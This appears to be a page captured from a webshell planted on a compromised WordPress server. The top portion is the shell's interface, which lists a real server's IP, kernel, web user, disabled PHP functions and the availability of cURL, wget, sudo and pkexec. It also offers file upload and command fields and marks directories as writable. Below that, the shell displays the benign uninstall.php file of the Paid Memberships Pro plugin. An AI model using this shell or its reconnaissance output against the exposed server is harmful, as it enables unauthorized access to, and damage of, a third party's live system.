403Webshell
Server IP : 158.247.231.215  /  Your IP : 216.73.217.84
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux CTMS 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/blockstorage/ctms/wp-content/plugins/paid-memberships-pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/blockstorage/ctms/wp-content/plugins/paid-memberships-pro/uninstall.php
<?php
/**
 * Leave no trace...
 * Use this file to remove all elements added by plugin, including database table
 */

// exit if uninstall/delete not called
if (!defined('ABSPATH') && !defined('WP_UNINSTALL_PLUGIN'))
    exit();

if ( get_option( 'pmpro_uninstall', 0 ) ) {
	// otherwise remove pages
	$pmpro_pages = array(
		'account' => get_option( 'pmpro_account_page_id' ),
		'billing' => get_option( 'pmpro_billing_page_id' ),
		'cancel' =>get_option( 'pmpro_cancel_page_id' ),
		'checkout' => get_option( 'pmpro_checkout_page_id' ),
		'confirmation' => get_option( 'pmpro_confirmation_page_id' ),
		'invoice' => get_option( 'pmpro_invoice_page_id' ),
		'levels' => get_option( 'pmpro_levels_page_id' ),
	  'login' => get_option( 'pmpro_login_page_id' ),
	  'member_profile_edit' => get_option( 'pmpro_member_profile_edit_page_id' )
	);

	foreach ( $pmpro_pages as $pmpro_page_id => $pmpro_page ) {
		$shortcode_prefix = 'pmpro_';
		$shortcode = '[' . $shortcode_prefix . $pmpro_page_id . ']';
		$post = get_post( $pmpro_page );

		// If shortcode is found at the beginning of the page content and it is the only content that exists, remove the page
		if ( strpos( $post->post_content, $shortcode ) === 0 && strcmp( $post->post_content, $shortcode ) === 0 )
			wp_delete_post( $post->ID, true ); // Force delete (no trash)
	}

	// otherwise remove db tables
	global $wpdb;

	$tables = array(
		'pmpro_discount_codes',
		'pmpro_discount_codes_levels',
		'pmpro_discount_codes_uses',
		'pmpro_memberships_categories',
		'pmpro_memberships_pages',
		'pmpro_memberships_users',
		'pmpro_membership_levels',
		'pmpro_membership_orders',
		'pmpro_membership_levelmeta',
		'pmpro_membership_ordermeta',
		'pmpro_groups',
		'pmpro_membership_levels_groups',
		'pmpro_subscriptions',
		'pmpro_subscriptionmeta'
	);

	foreach($tables as $table){
	    $delete_table = $wpdb->prefix . $table;
	    // setup sql query
	    $sql = "DROP TABLE `$delete_table`";
	    // run the query
	    $wpdb->query($sql);
	}

	//delete options
	global $wpdb;
	$sqlQuery = "DELETE FROM $wpdb->options WHERE option_name LIKE 'pmpro_%'";
	$wpdb->query($sqlQuery);
}

Youez - 2016 - github.com/yon3zu
LinuXploit